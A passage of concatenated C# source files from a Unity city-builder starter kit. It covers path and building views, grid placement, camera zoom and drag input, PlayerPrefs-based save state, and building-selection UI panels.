* Update view
*/
override public void UI_UpdateState()
{
// Make sure sprite matches
buildingSprite.sprite = SpriteManager.GetBuildingSprite(building.Type.spriteName + PathManager.GetInstance().GetSpriteSuffix(building));
}
/**
* Update objects position
*/
override public void SetPosition(GridPosition pos)
{
Vector3 position = grid.GridPositionToWorldPosition(pos);
//widget.depth = 999 - (int)position.z;
position.z = target.localPosition.z;
target.localPosition = position;
myPosition = target.localPosition;
}
/**
* Don't allow color change for paths.
*/
override protected void SetColor(GridPosition pos)
{
}
/**
* Can we drag this object.
*/
override public bool CanDrag
{
get
{
// Paths cant be dragged
return false;
}
set
{
// Do nothing
}
}
/**
* After object dragged set color
*/
override protected void PostDrag(GridPosition pos)
{
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Utility/GameStateManager.cs
using UnityEngine;
using System;
using System.IO;
using System.Collections;
using System.Collections.Generic;
using System.Xml.Serialization;
namespace CBSK
{
/**
* An extension of the manager class which adds the ability to manage the state
* of a specific list of game objects. Specifically this means being able
* to load and save the game state data.
*/
public abstract class GameStateManager<T, U> : Manager<T> where T : Manager<T>
{
/**
* A collection of items that will be stored.
*/
abstract protected List<U> StateData { get; set; }
/**
* An identifier to associate this data with the manager. In the
* default implementation this will be the name of the game object.
*/
virtual protected string DataId
{
get { return this.GetType().Name; }
}
/**
* Saves the state of this manager. This (default) implementation saves
* data to PlayerPrefs using XMLSerializer. If you override it ensure you
* also override <LoadState> and <ClearState>.
*/
virtual public void SaveState()
{
XmlSerializer serializer = new XmlSerializer(typeof(List<U>));
using (StringWriter writer = new StringWriter())
{
serializer.Serialize(writer, StateData);
PlayerPrefs.SetString(DataId, writer.ToString());
}
}
/**
* Loads the state of this manager. This (default) implementation loads
* data from PlayerPrefs using XMLSerializer. If you override it ensure you
* also override <SaveState> and <ClearState>.
*/
virtual public void LoadState()
{
XmlSerializer serializer = new XmlSerializer(typeof(List<U>));
string data = PlayerPrefs.GetString(DataId, "");
if (data.Length > 0)
{
using (StringReader reader = new StringReader(data))
{
StateData = (List<U>)serializer.Deserialize(reader);
}
}
}
/**
* Clear all state data. This (default) implementation deletes
* the key from playerPrefs.
*/
virtual public void ClearState()
{
PlayerPrefs.DeleteKey(DataId);
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/UIBackground.cs
using System;
using UnityEngine;
using UnityEngine.EventSystems;
namespace CBSK
{
public class UIBackground : MonoBehaviour, IPointerDownHandler, IDragHandler
{
InputManager inputManager;
void Awake()
{
inputManager = GameObject.FindObjectOfType(typeof(InputManager)) as InputManager;
}
public void OnPointerDown(PointerEventData eventData)
{
//inputManager.StartDrag();
}
public void OnDrag(PointerEventData eventData)
{
inputManager.OnDrag(eventData);
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/Utility/BoxColliderExtensions.cs
using UnityEngine;
namespace CBSK
{
/// <summary>
/// BoxCollider2D extension methods.
/// </summary>
public static class BoxCollider2DExtensions
{
/// <summary>
/// Gets the Y extents (0 = min, 1= max) of a box collider 2D.
/// </summary>
/// <returns>The bounds.</returns>
/// <param name="value">Value.</param>
public static Vector2[] GetRelativeBounds(this BoxCollider2D box)
{
Vector2 min;
Vector2 max;
min = -box.transform.position + box.transform.TransformPoint (box.Offset() + new Vector2 ((-box.size.x / 2.0f), (-box.size.y / 2.0f)));
max = -box.transform.position + box.transform.TransformPoint (box.Offset() + new Vector2 (( box.size.x / 2.0f), ( box.size.y / 2.0f)));
return new Vector2[]{min, max};
}
/// <summary>
/// Get the offset. provides consistent interface for Unity 4 and 5.
/// </summary>
/// <param name="box">Box.</param>
public static Vector2 Offset(this BoxCollider2D box)
{
#if UNITY_5
return box.offset;
#else
return box.center;
#endif
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIBuildingSelectPanel.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
namespace CBSK
{
public class UIBuildingSelectPanel : UIGamePanel
{
public GameObject buildingScrollPanel;
public GameObject buildingPanelPrefab;
public ScrollRect scrollRect;
private bool initialised = false;
private List<UIBuildingSelectView> buildingSelectPanels;
private InputManager inputManager;
void Start()
{
if (!initialised)
{
List<BuildingTypeData> types = BuildingManager.GetInstance().GetAllBuildingTypes().Where(b => !b.isObstacle && !b.isPath).ToList();
buildingSelectPanels = new List<UIBuildingSelectView>();
foreach (BuildingTypeData type in types)
{
AddBuildingPanel(type);
}
inputManager = FindObjectOfType<InputManager>();
initialised = true;
}
}
override public void Show()
{
if (activePanel != null) activePanel.Hide();
foreach (UIBuildingSelectView p in buildingSelectPanels)
{
p.UpdateBuildingStatus();
}
StartCoroutine(DoShow());
activePanel = this;
//Disable zoom and drag
if (Camera.main.orthographic)
{
inputManager.acceptInput = false;
}
}
public override void Hide()
{
base.Hide();
if (Camera.main.orthographic)
{
inputManager.acceptInput = true;
}
}
protected override IEnumerator DoShow()
{
yield return StartCoroutine(base.DoShow());
//Make sure the content is scrolled to the top
yield return new WaitForEndOfFrame();
scrollRect.verticalNormalizedPosition = 1;
}
private void AddBuildingPanel(BuildingTypeData type)
{
GameObject panelGo = (GameObject)Instantiate(buildingPanelPrefab);
UIBuildingSelectView panel = panelGo.GetComponent<UIBuildingSelectView>();
panelGo.transform.SetParent(buildingScrollPanel.transform);
panelGo.transform.localScale = Vector3.one;
panel.InitialiseWithBuildingType(type);
buildingSelectPanels.Add(panel);
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Persistence/SaveMode.cs
namespace CBSK
{
public enum SaveMode
{
SAVE_ALWAYS = 1, // Save after all changes
SAVE_MOSTLY = 2, // Save after starting building, acknowledge building, starting task, acknowledge task.
SAVE_NEVER = 4, // Never automatically save.
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/SpeedUpButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
/**
* Button which speeds up a building or activity.
*/
public class SpeedUpButton : UIButton
{
public override void Click()
{
BuildingManager.GetInstance().SpeedUp();
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/UIButtonSwitchButton.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
public class UIButtonSwitchButton : UIButton
{
public PanelType type;
public override void Click()
{
UIGamePanel.ShowPanel(type);
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/UIPathClickListenerPanel.cs
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using System.Collections;
using System;
namespace CBSK
{
/**
* Listens to a user clicking in path mode and sends to the path manager
A fullscreen graphic is required to make use the graphics raycaster
*/
[RequireComponent(typeof(Image))]
public class UIPathClickListenerPanel : UIGamePanel, IPointerClickHandler, IDragHandler
{
//Removed in initial re-release
//public Transform buildingOffset;
protected InputManager inputManager;
private Image clickMask;
/**
* Internal initialisation.
*/
public override void Awake()
{
base.Awake();
inputManager = GameObject.FindObjectOfType(typeof(InputManager)) as InputManager;
clickMask = GetComponent<Image>();
}
public override void SetPanelActive(bool isActive)
{
base.SetPanelActive(isActive);
clickMask.enabled = isActive;
}
public void OnPointerClick(PointerEventData eventData)
{
if (isVisible)
{
// TODO change that reference to be a look up of scale
PathManager.GetInstance().SwitchPath("PATH", (BuildingManager.GetInstance().gameCamera.ScreenToWorldPoint(Input.mousePosition)) +
BuildingManager.GetInstance().gameView.transform.localPosition * -1.0f);
}
}
/**
* When object is dragged, move object then snap it to the grid.
*/
public void OnDrag(PointerEventData eventData)
{
if (isVisible)
{
//TODO Add the ability to draw paths by dragging.
inputManager.OnDrag(eventData);
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIDraggableGridObject.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
public class UIDraggableGridObject : MonoBehaviour
{
/**
* The grid to snap to.
*/
protected AbstractGrid grid;
/**
* Cached transform
*/
protected Transform target;
/**
* World position of the grid object.
*/
protected Vector3 myPosition;
/**
* Internal initialisation.
*/
void Awake()
{
target = transform;
myPosition = target.position;
grid = GameObject.FindObjectOfType(typeof(AbstractGrid)) as AbstractGrid;
}
/**
* Update objects position
*/
virtual public void SetPosition(GridPosition pos)
{
Vector3 position = grid.GridPositionToWorldPosition(pos);
target.localPosition = position;
myPosition = target.localPosition;
}
/**
* Call to drag
*/
virtual public void OnDrag(Vector2 delta)
{
}
/**
* Called after each drag.
*/
virtual protected void PostDrag(GridPosition pos)
{
}
/**
* Snap object to grid.
*/
virtual protected GridPosition SnapToGrid()
{
GridPosition pos = grid.WorldPositionToGridPosition(myPosition);
Vector3 position = grid.GridPositionToWorldPosition(pos);
position.z = target.localPosition.z;
target.localPosition = position;
return pos;
}
/**
* Can we drag this object.
*/
virtual public bool CanDrag
{
get; set;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Utility/Grid/AbstractGrid.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
namespace CBSK
{
public abstract class AbstractGrid : MonoBehaviour, IGrid
{
/**
* Dimensions of the grid.
*/
public int gridSize;
/**
* Mapping between IGridObjects and position(s) on the grid.
*/
protected Dictionary<IGridObject, List<GridPosition>> gridObjects;
/**
* The actual grid.
*/
protected IGridObject[,] grid;
/**
* Return the object at the given position or null if no object
* at the given position.
*/
virtual public IGridObject GetObjectAtPosition(GridPosition position)
{
if (position.x < gridSize && position.y < gridSize && position.x >= 0 && position.y >= 0)
{
return grid[position.x, position.y];
}
return null;
}
virtual public void AddObjectAtPosition(IGridObject gridObject, GridPosition position)
{
List<GridPosition> gridPosisitons = new List<GridPosition>();
GridPosition newPosition;
foreach (GridPosition g in gridObject.Shape)
{
newPosition = position + g;
gridPosisitons.Add(newPosition);
grid[newPosition.x, newPosition.y] = gridObject;
}
gridObjects.Add(gridObject, gridPosisitons);
}
virtual public void RemoveObject(IGridObject gridObject)
{
foreach (GridPosition g in gridObjects[gridObject])
{
grid[g.x, g.y] = null;
}
gridObjects.Remove(gridObject);
}
virtual public void RemoveObjectAtPosition(GridPosition position)
{
IGridObject g = GetObjectAtPosition(position);
if (g != null) RemoveObject(g);
}
virtual public bool CanObjectBePlacedAtPosition(IGridObject gridObject, GridPosition position)
{
GridPosition newPosition;
foreach (GridPosition g in gridObject.Shape)
{
newPosition = position + g;
if (newPosition.x < 0 || newPosition.x >= grid.GetLength(0)) return false;
if (newPosition.y < 0 || newPosition.y >= grid.GetLength(1)) return false;
if (grid[newPosition.x, newPosition.y] != null && grid[newPosition.x, newPosition.y] != gridObject) return false;
}
return true;
}
virtual public bool CanObjectBePlacedAtPosition(GridPosition[] shape, GridPosition position)
{
GridPosition newPosition;
foreach (GridPosition g in shape)
{
newPosition = position + g;
if (newPosition.x < 0 || newPosition.x >= grid.GetLength(0)) return false;
if (newPosition.y < 0 || newPosition.y >= grid.GetLength(1)) return false;
if (grid[newPosition.x, newPosition.y] != null) return false;
}
return true;
}
abstract public Vector3 GridPositionToWorldPosition(GridPosition position);
abstract public Vector3 GridPositionToWorldPosition(GridPosition position, List<GridPosition> shape);
abstract public GridPosition WorldPositionToGridPosition(Vector3 position);
virtual public Vector3 SnapWorldPositionToGrid(Vector3 position)
{
return GridPositionToWorldPosition(WorldPositionToGridPosition(position));
}
}
}<file_sep>/CityBuilderStarterKit/Extensions/UnitAnimations/BuildingViewWithUnits.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
/**
* A building view built that can show simple unit animations.
*/
namespace CBSK
{
public class BuildingViewWithUnits : BuildingView
{
/**
* The unit animators
*/
public List<SimpleOccupantAnimator> animators;
/**
* Sprites for units that aren't animated.
*/
public List<SpriteRenderer> staticUnits;
/**
* Which units are in which spots.
*/
protected Dictionary<OccupantData, int> allocatedSpots;
/**
* Initialise the building view.
*/
override public void UI_Init(Building building)
{
base.UI_Init(building);
// Position animators
if (building.Type is BuildingDataWithUnitAnimations)
{
allocatedSpots = new Dictionary<OccupantData, int>();
// Position animators
for (int i = 0; i < animators.Count; i++)
{
animators[i].gameObject.SetActive(false);
if (((BuildingDataWithUnitAnimations)building.Type).animationPositions.Count > i)
{
animators[i].gameObject.transform.localPosition = new Vector3(((BuildingDataWithUnitAnimations)building.Type).animationPositions[i].x / 100f,
((BuildingDataWithUnitAnimations)building.Type).animationPositions[i].y / 100f, 0.0f);
}
animators[i].gameObject.SetActive(false);
animators[i].Hide();
}
// Position static sprites
for (int i = 0; i < staticUnits.Count; i++)
{
if (((BuildingDataWithUnitAnimations)building.Type).staticPositions.Count > i)
{
staticUnits[i].gameObject.transform.localPosition = new Vector3(((BuildingDataWithUnitAnimations)building.Type).staticPositions[i].x / 100f,
((BuildingDataWithUnitAnimations)building.Type).staticPositions[i].y / 100f, 0.0f);
}
staticUnits[i].gameObject.SetActive(false);
}
}
UpdateOccupants();
}
/**
* Activity acknowledged.
*/
override public void UI_AcknowledgeActivity()
{
if (!building.ActivityInProgress)
{
if (building.StoreFull) UI_StoreFull();
else progressIndicator.gameObject.SetActive(false);
}
UpdateOccupants();
}
/**
* OccupantData dismissed.
*/
public void UI_DismissOccupant()
{
UpdateOccupants();
}
/**
* Update occupant sprites
**/
virtual protected void UpdateOccupants()
{
if (building.Type is BuildingDataWithUnitAnimations)
{
// Remove any unused
foreach (OccupantData o in allocatedSpots.Keys.ToList())
{
if (!building.Occupants.Contains(o))
{
RemoveAllocatedSpot(allocatedSpots[o]);
allocatedSpots.Remove(o);
}
}
// Cycle through each occupant
if (building.Occupants != null)
{
for (int j = 0; j < building.Occupants.Count; j++)
{
if (allocatedSpots.ContainsKey(building.Occupants[j]))
{
// Occupant already done, do nothing
}
else
{
int spot = AllocateUnitToSpot(building.Occupants[j]);
if (spot != -1)
allocatedSpots.Add(building.Occupants[j], spot);
}
}
}
}
}
virtual protected void RemoveAllocatedSpot(int i)
{
if (i < ((BuildingDataWithUnitAnimations)building.Type).animationPositions.Count)
{
animators[i].Hide();
animators[i].gameObject.SetActive(false);
}
else if (i < ((BuildingDataWithUnitAnimations)building.Type).staticPositions.Count + ((BuildingDataWithUnitAnimations)building.Type).animationPositions.Count)
{
staticUnits[i - ((BuildingDataWithUnitAnimations)building.Type).animationPositions.Count].gameObject.SetActive(false);
}
}
virtual protected int AllocateUnitToSpot(OccupantData o)
{
for (int i = 0; i < ((BuildingDataWithUnitAnimations)building.Type).animationPositions.Count; i++)
{
if (animators[i].gameObject.activeInHierarchy == false && o.occupantTypeString == "SWORDSMAN")
{
animators[i].gameObject.SetActive(true);
animators[i].Show();
return i;
}
}
for (int i = 0; i < ((BuildingDataWithUnitAnimations)building.Type).staticPositions.Count; i++)
{
if (staticUnits[i].gameObject.activeInHierarchy == false)
{
staticUnits[i].gameObject.SetActive(true);
staticUnits[i].sprite = SpriteManager.GetUnitSprite(o.Type.spriteName);
return i + ((BuildingDataWithUnitAnimations)building.Type).animationPositions.Count;
}
}
return -1;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/InputManager.cs
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using System.Collections;
namespace CBSK
{
public class InputManager : MonoBehaviour
{
public static InputManager instance;
public float maxZoom = 1;
public float minZoom = .5f;
#if (UNITY_ANDROID || UNITY_IOS) && !UNITY_EDITOR
public float zoomSpeed = 1.0f;
#else
public float zoomSpeed = 4;
#endif
public float dragSpeed = 2f;
public float acceleration = 4;
public Camera inputCamera;
private float scrollTarget;
private float scrollDelta;
private Vector3 zoomCenter;
private Vector2 startDragPosition;
private Vector3 dragDiff;
private Vector2 targetCameraPosition;
private float[] relativeBounds;
private bool hasBounds;
private Vector2[] bounds;
//Zoom to cursor variables
private float previousZoom;
private Vector2 prevCursorPos;
private Vector2 cursorDelta;
//Drag unit variables
private Vector2 p1;
private Vector2 p2;
float worldUnit;
private bool isDragging = false;
//This can be switched off by certain full screen panels. Expecially useful for ones that use their own dragging or scrolling to display content
internal bool acceptInput = true;
// Use this for initialization
void Start()
{
instance = this;
if (inputCamera == null)
{
inputCamera = Camera.main;
}
scrollTarget = inputCamera.orthographicSize;
targetCameraPosition = inputCamera.transform.position;
//Check to make sure the camera has the required bounds
if (inputCamera.GetComponent<BoxCollider2D>() == null)
{
Debug.LogWarning(string.Format("A BoxCollider2D is required on {0} to control the camera bounds", inputCamera.name));
return;
}
BoxCollider2D boundingBox = inputCamera.GetComponent<BoxCollider2D> ();
if (boundingBox != null) {
hasBounds = true;
bounds = boundingBox.GetRelativeBounds();
SetRelativeBounds ();
}
}
// Update is called once per frame
void Update()
{
UpdateZoom();
UpdateDrag();
}
void UpdateZoom()
{
//TODO add perspective camera
#if UNITY_STANDALONE || UNITY_EDITOR
if (acceptInput)
{
scrollDelta = Input.GetAxis("Mouse ScrollWheel");
}
else
{
scrollDelta = 0;
}
scrollTarget -= scrollDelta * zoomSpeed;
scrollTarget = Mathf.Clamp(scrollTarget, minZoom, maxZoom);
Vector3 zoomCenter = Input.mousePosition;
#endif
#if (UNITY_ANDROID || UNITY_IOS) && !UNITY_EDITOR
// If there are two touches on the device...
if (acceptInput && Input.touchCount == 2)
{
// Store both touches.
Touch touchZero = Input.GetTouch(0);
Touch touchOne = Input.GetTouch(1);
// Find the position in the previous frame of each touch.
Vector2 touchZeroPrevPos = touchZero.position - touchZero.deltaPosition;
Vector2 touchOnePrevPos = touchOne.position - touchOne.deltaPosition;
// Find the magnitude of the vector (the distance) between the touches in each frame.
float prevTouchDeltaMag = (touchZeroPrevPos - touchOnePrevPos).magnitude;
float touchDeltaMag = (touchZero.position - touchOne.position).magnitude;
// Find the difference in the distances between each frame.
scrollDelta = prevTouchDeltaMag - touchDeltaMag;
scrollTarget += scrollDelta * zoomSpeed * Time.deltaTime;
scrollTarget = Mathf.Clamp(scrollTarget, minZoom, maxZoom);
//Find focal point of the zoom
zoomCenter = (touchZero.position + touchOne.position)/2;
}
else
{
scrollDelta = 0;
}
#endif
prevCursorPos = inputCamera.ScreenToWorldPoint(zoomCenter);
inputCamera.orthographicSize = Mathf.Lerp(inputCamera.orthographicSize, scrollTarget, acceleration * Time.deltaTime);
// Only do this if we are scrolling
if (Mathf.Abs(scrollTarget - inputCamera.orthographicSize) > 0.001f ) {
// Recalculate the camera bounds, if there are any
if (hasBounds)
{
SetRelativeBounds();
}
//Make sure that if we start dragging before the zoom lerp has completed, that we don't fight with the drag position.
if (!isDragging)
{
// Update size and find the world delta
cursorDelta = prevCursorPos - (Vector2)inputCamera.ScreenToWorldPoint(zoomCenter);
// Update camera position to keep cursor/fingers centered, using the drag target.
targetCameraPosition += cursorDelta;
}
//Clamp the drag target values before assigning them to the camera.
ClampCameraPosition();
if (!isDragging)
{
inputCamera.transform.position = targetCameraPosition;
}
}
}
void UpdateDrag()
{
// Clamp first so that targetDragPosition guaranteed to be in bounds
ClampCameraPosition();
inputCamera.transform.position = Vector2.Lerp(inputCamera.transform.position, targetCameraPosition, acceleration * Time.deltaTime);
if((Vector2)inputCamera.transform.position == targetCameraPosition)
{
isDragging = false;
}
}
//Makes sure the camera can't be moved outside of the bounds.
void ClampCameraPosition()
{
if (hasBounds)
{
//Make sure our drag position is inside the current bounds.
targetCameraPosition.x = Mathf.Clamp(targetCameraPosition.x, relativeBounds[0], relativeBounds[1]);
targetCameraPosition.y = Mathf.Clamp(targetCameraPosition.y, relativeBounds[2], relativeBounds[3]);
}
}
//This method processes drag via "click and drag" and touch.
public void OnDrag(PointerEventData data)
{
#if UNITY_ANDROID || UNITY_IOS
if (!acceptInput || Input.touchCount > 1)
{
return;
}
#endif
//Find the current screen to world unit ratio
p1 = inputCamera.ScreenToWorldPoint(Vector2.zero);
p2 = inputCamera.ScreenToWorldPoint(Vector2.right);
worldUnit = Vector2.Distance(p1, p2);
//Do the conversion
data.delta *= worldUnit;
isDragging = true;
//Move the camera
targetCameraPosition = targetCameraPosition - data.delta;
}
/// <summary>
/// Camera bounds depends on the size or field of view. Since players have the ability to zoom, the camera's bounds change.
/// This method finds the bounds relative to the current size of the camera
/// </summary>
void SetRelativeBounds()
{
if (hasBounds) {
relativeBounds = new float[4];
relativeBounds [0] = bounds[0].x + (inputCamera.orthographicSize * inputCamera.aspect);
relativeBounds [1] = bounds[1].x - (inputCamera.orthographicSize * inputCamera.aspect);
relativeBounds [2] = bounds[0].y + inputCamera.orthographicSize;
relativeBounds [3] = bounds[1].y - inputCamera.orthographicSize;
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/ClearObstacleButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
/**
* A button which can perform the clear activity.
*/
public class ClearObstacleButton : CollectButton
{
/**
* Set up the visuals.
*/
override public void Init(Building building)
{
myBuilding = building;
resourceLabel.text = "" + building.Type.cost;
}
/**
* Button clicked, start activity.
*/
override public void Click()
{
if (ResourceManager.Instance.Resources > myBuilding.Type.cost)
{
myBuilding.StartActivity(ActivityType.CLEAR, System.DateTime.Now, "");
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/Engine/Utility/Manager.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
/**
* Abstract class extended by all "manager" type objects.
* Managers have only one instance in a scene and this class helps to enforce that.
*/
public abstract class Manager<T> : MonoBehaviour where T : Manager<T>
{
/** Static reference to this manager. */
protected static T manager;
/** Has this manager been initialised. */
protected bool initialised = false;
/**
* Get the instance of the manager class or create if one has not yet been created.
*
* @returns An instance of the manager class.
*/
public static T GetInstance()
{
if (manager == null) Create();
return manager;
}
/**
* Create a new game object and attach an instance of the manager.
*/
protected static void Create()
{
GameObject go = new GameObject();
go.name = typeof(T).Name;
manager = (T)go.AddComponent(typeof(T));
}
/**
* If there is already a manager destroy self, else initialise and assign to the static reference.
*/
void Awake()
{
if (manager == null)
{
if (!initialised) Init();
manager = (T)this;
}
else if (manager != this)
{
Destroy(gameObject);
}
}
/**
* Initialise the manager. Override this to perform initialisation in sub-classes. Note this
* initialisation should never rely on another manager instance being available as it is called from Awake().
*/
virtual protected void Init()
{
initialised = true;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Utility/Grid/GridPosition.cs
/*
* GridPosition
*
* Represent a position on a 2D grid.
*
* Project: Awesome Knight
* Author: <NAME> (2012)
*/
using UnityEngine;
using System.Collections;
namespace CBSK
{
[System.Serializable]
public struct GridPosition
{
[System.Xml.Serialization.XmlAttribute]
public int x;
[System.Xml.Serialization.XmlAttribute]
public int y;
/*
* The default 1x1 building shape
*/
public static GridPosition[] DefaultShape = new GridPosition[] { new GridPosition(1, 1) };
/*
* The default 2x2 building shape
*/
public static GridPosition[] TwoByTwoShape = new GridPosition[] { new GridPosition(-1, -1), new GridPosition(-2, -2), new GridPosition(-2, -1), new GridPosition(-1, -2) };
/*
* The default 2x2 building shape
*/
public static GridPosition[] TwoByTwoMoatShape = new GridPosition[] { new GridPosition(0, 0), new GridPosition(-1, -1), new GridPosition(-1, 0), new GridPosition(-1, 0) };
/*
* The default 3x3 building shape
*/
public static GridPosition[] ThreeByThreeShape = new GridPosition[]{new GridPosition( 0,0), new GridPosition( 0,-1), new GridPosition( 0,-2),
new GridPosition(-1,0), new GridPosition(-1,-1), new GridPosition(-1,-2),
new GridPosition(-2,0), new GridPosition(-2,-1), new GridPosition(-2,-2)};
/*
* The default 4x4 building shape
*/
public static GridPosition[] FourByFourShape = new GridPosition[]{ new GridPosition( 0,0), new GridPosition( 0,-1), new GridPosition( 0,-2), new GridPosition( 0,-3),
new GridPosition(-1,0), new GridPosition(-1,-1), new GridPosition(-1,-2), new GridPosition(-1,-3),
new GridPosition(-2,0), new GridPosition(-2,-1), new GridPosition(-2,-2), new GridPosition(-2,-3),
new GridPosition(-3,0), new GridPosition(-3,-1), new GridPosition(-3,-2), new GridPosition(-3,-3)};
/*
* A 4x2 shape with along the NE/SW axis
*/
public static GridPosition[] FourByTwoNEShape = new GridPosition[]{ new GridPosition( 0,-2), new GridPosition( 0,-1),
new GridPosition(-1,-2), new GridPosition(-1,-1),
new GridPosition(-2,-2), new GridPosition(-2,-1),
new GridPosition(-3,-2), new GridPosition(-3,-1)};
/*
* A 4x2 shape with along the NW/SE axis
*/
public static GridPosition[] FourByTwoNWShape = new GridPosition[]{ new GridPosition(-1, 0), new GridPosition(-2, 0),
new GridPosition(-1,-1), new GridPosition(-2,-1),
new GridPosition(-1,-2), new GridPosition(-2,-2),
new GridPosition(-1,-3), new GridPosition(-2,-3)};
public GridPosition(int x, int y)
{
this.x = x;
this.y = y;
}
public static GridPosition operator +(GridPosition g1, GridPosition g2)
{
return new GridPosition(g1.x + g2.x, g1.y + g2.y);
}
public static GridPosition operator -(GridPosition g1, GridPosition g2)
{
return new GridPosition(g1.x - g2.x, g1.y - g2.y);
}
public static bool operator ==(GridPosition g1, GridPosition g2)
{
if (g1.x != g2.x) return false;
if (g1.y != g2.y) return false;
return true;
}
public static bool operator !=(GridPosition g1, GridPosition g2)
{
return !(g1 == g2);
}
public override bool Equals(object obj)
{
if (obj != null && obj is GridPosition) return this == (GridPosition)obj;
return false;
}
/*
* Simple hashcode override to avoid the warnirng.
*/
override public int GetHashCode()
{
return x << 16 + y;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Buildings/BuildingTypeData.cs
using System.Collections.Generic;
namespace CBSK
{
[System.Serializable]
/**
* Data for the type of a building. Public variables are used for simplicity of serialization
* but should not be modified directly.
*/
public class BuildingTypeData
{
public virtual string id { get; set; } // Unique id of the building.
public virtual string name { get; set; } // Human readable name of the building.
public virtual string description { get; set; } // A human readable description of the building.
public virtual string spriteName { get; set; } // The name of the sprite used to represent this building.
public virtual bool isObstacle { get; set; } // If this is the true the building is an obstacle. It can't be built by players only cleared form the scene.
public virtual bool isPath { get; set; } // If this is the true the building is a path. It builds insantly and is handled by the Path Manager.
public virtual int level { get; set; } // Level required to build.
public virtual int cost { get; set; } // How many resources it costs to build this building. For obstacles the cost to clear.
public virtual int buildTime { get; set; } // How long in seconds it takes to build this building. For obstalces the time to clear.
public virtual List<string> allowIds { get; set; } // Ids of the buildings and units that this building allows.
public virtual List<string> requireIds { get; set; } // Ids of the buildings required before this building can be built.
public virtual List<GridPosition> shape { get; set; } // Shape of the building in the isometric grid.
public virtual List<string> activities { get; set; } // Types of activities this building allows.
public virtual RewardType generationType { get; set; } // Type of reward automatically generated by this building. Ignored if generation amount = 0. For obstacles this is reward type for clearing.
public virtual int generationTime { get; set; } // Time to generate the reward.
public virtual int generationAmount { get; set; } // Amount of reward to generate each time interval. For obstacles this is reward amount for clearing.
public virtual int generationStorage { get; set; } // Maximum amount of generated reward to store in this building. Acknowledgement indicator will appear once this value is reached.
public virtual int occupantStorage { get; set; } // The space for holding occupants. Note that occupants size can be variable (for example a building could hold two tigers with a size of 1, but only one elephant whic has a size of 2).
public virtual List<CustomResource> additionalCosts { get; set; } // Additional resource costs for the building.
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIBuildingSelectView.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
/**
* User interface for an individual buildings panel. Shown when
* selecting which building type to build.
*/
public class UIBuildingSelectView : MonoBehaviour
{
public Text titleLabel;
public Text descriptionLabel;
public Text allowsLabel;
public Text costLabel;
public Text levelLabel;
public Image sprite;
public Image backgroundSprite;
public BuildBuildingButton buildButton;
public Image extraCostSprite;
public Text extraCostLabel;
public Sprite availableBackground;
public Sprite unavailableBackground;
private BuildingTypeData type;
/**
* Set up the building with the given type data.
*/
virtual public void InitialiseWithBuildingType(BuildingTypeData type)
{
this.type = type;
titleLabel.text = type.name;
descriptionLabel.text = type.description;
costLabel.text = type.cost.ToString();
sprite.sprite = SpriteManager.GetBuildingSprite(type.spriteName);
if (type.additionalCosts != null && type.additionalCosts.Count > 0)
{
extraCostLabel.gameObject.SetActive(true);
extraCostSprite.gameObject.SetActive(true);
extraCostLabel.text = "" + type.additionalCosts[0].amount;
extraCostSprite.sprite = SpriteManager.GetSprite(ResourceManager.Instance.GetCustomResourceType(type.additionalCosts[0].id).spriteName);
}
else
{
extraCostLabel.gameObject.SetActive(false);
extraCostSprite.gameObject.SetActive(false);
}
UpdateBuildingStatus();
}
/**
* Updates the UI (text, buttons, etc), based on if the building type
* requirements are met or not.
*/
virtual public void UpdateBuildingStatus()
{
// Level indicator
if (type.level == 0)
{
levelLabel.text = "";
}
else if (type.level <= ResourceManager.Instance.Level)
{
levelLabel.text = string.Format("<color=#000000>Level {0}</color>", type.level);
}
else
{
levelLabel.text = string.Format("<color=#ff0000>Requires Level {0}</color>", type.level);
}
// We don't check for the amount of resources here, becaue we want to prompt users
// to buy resources. However you could add a check for resources if you preferred.
// To do this check that ResourceManager.Instance.Resource >= type.cost.
if (BuildingManager.GetInstance().CanBuildBuilding(type.id))
{
allowsLabel.text = string.Format("<color=#000000>Allows: {0}</color>", FormatIds(type.allowIds, false));
backgroundSprite.sprite = availableBackground;
buildButton.gameObject.SetActive(true);
buildButton.Init(type.id);
}
else
{
allowsLabel.text = string.Format("<color=#ff0000>Requires: {0}</color>", FormatIds(type.requireIds, true));
backgroundSprite.sprite = unavailableBackground;
buildButton.gameObject.SetActive(false);
}
}
/**
* Formats the allows/required identifiers to be nice strings, coloured correctly.
* Returns the identifiers.
* "HTML like" tags are used to format Rich Text in the Unity UI system.
*/
virtual protected string FormatIds(List<string> allowIds, bool redIfNotPresent)
{
BuildingManager manager = BuildingManager.GetInstance();
string result = "";
foreach (string id in allowIds)
{
if (redIfNotPresent && !manager.PlayerHasBuilding(id) && !OccupantManager.GetInstance().PlayerHasOccupant(id))
{
result += "<color=#ff0000>";
}
else
{
result += "<color=#000000>";
}
